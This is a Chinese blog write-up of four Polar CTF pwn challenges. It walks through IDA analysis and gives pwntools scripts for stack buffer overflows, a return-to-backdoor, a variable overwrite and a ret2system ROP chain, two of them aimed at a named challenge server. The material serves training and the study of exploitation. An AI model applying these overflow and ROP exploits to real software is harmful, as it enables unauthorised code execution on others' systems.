Polar PWN内容WP 二

五、emm

下载文件放入虚拟机中查看一下

32位ELF文件,开启栈不可执行保护(NX)

放入IDA中看一下

映入眼帘的就是一个flag函数,直接看一下flag函数中的内容

好嘛!cat flag 思路明确了

接着我们进入main函数中出现的yes函数,查看一下yes函数中的内容

一个栈溢出,read写入的是100个字节,远远超出定义的58字节

利用溢出,返回cat flag

思路有了

计算偏移地址

偏移地址:0x58+4

找出flag函数地址

flag_addr=0x80484CB

差不多了,开搞!

from pwn import *
r =remote("ip", port)
​
flag_addr=0x80484CB
padding=0x58+4
payload=b'a' * padding + p32(flag_addr)
r.sendline(payload)
r.interactive()

运行脚本后得到flag

六、Choice

下载 虚拟机 查看

64位ELF文件,开启NX保护

进入IDA查看

发现有3个函数,Data1-3

进入Data1查看

有溢出,但不多 达不到攻击条件

进入Data2查看

同Data1 一样 溢出但不多

进入Data3查看

这才对嘛,有溢出,也够用!

找到了溢出点再找找有没有后门函数 shift+F12查找字符串

跟踪进入看一下,这是哪个函数里的

标准,太标准了 标准且典型的后门函数

思路有了:利用Data3函数中的溢出,返回到这个后门函数

现在是找出地址

先找到后门函数地址:0x4007BD

然后找出偏移地址:0x30+8

编写脚本开干

from pwn import *
r =remote("120.46.59.242", 2112)
​
flag_addr=0x4007BD
padding=0x30+8
payload=b'a' * padding + p64(flag_addr)
r.sendlineafter(b'Menu:\n',b'3') //注意,进入Data3函数之前是要输入数值的 这里发送个3 使其进入Data3函数
r.sendline(payload)
r.interactive()

运行脚本后cat flag即可

七、overload1

这题我也没理清思路,所以就直接按照WP写了,有懂的可以评论一下 让我开开眼

下、放、查

ELF 64 NX开

IDA 看

使用了gets函数,是个溢出

if语句中v5[1]97进行了比较,当v5[1]等于97,可以执行system()函数。

所以就是利用溢出,将v5[1]的值覆盖成97 也就是ascii码中的‘a’

进入main函数的第一个if循环,输入一个y。

通过构造攻击链让程序返回v5[1]等于字符a

已知溢出变量和所要覆盖变量的距离即可算出距离,构造出Payload。

payload =  0x110 * 'a'

脚本如下

from pwn import *
r =remote("IP",port)
#r = process("./overload1")
elf = ELF("./overload1")
r.recvline()
r.recvline()
payload = 'y'
r.sendline(payload)
#payload1 = 0x120 * 'a'
payload1 = 0x110 * 'a'
r.recvline()
r.sendline(payload1)
r.interactive()                          

八、X64

查看一下文件

64位ELF文件,什么都没开???!!认真的么铁子

进入主函数发现有一个function函数,进入function函数查看

一个溢出点

shift+F12查看字符串

有bin/sh字符串

但是bin/sh字符串并没有和system组合在一起,因此我们需要通过传参将bin/sh传入到system中

64位传参:参数从左到右放入寄存器:RDI, RSI, RDX, ECX, R8, R9,之后跟32位一样

大体思路如下:

找出溢出偏移量、进入function函数中、覆盖返回地址为shell 将/bin/sh作为参数传入

开始找值:

偏移量:0x80+8

bin字符串地址:0x601060

system地址:0x4006B6

还差一个rdi地址

使用命令:

 ROPgadget --binary x64 --only "pop|ret"

找到RDI地址

RDI_addr=0x4007e3

编程搞事

from pwn import *
r =remote("120.46.59.242", 2130)
​
bin_addr=0x601060
padding=0x80+8
sys_addr=0x4006B6
rdi_addr=0x4007e3
payload=b'a' * padding + p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
r.sendline(payload)
r.interactive()

运行,然后cat flag即可

  • 26
    点赞
  • 56
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值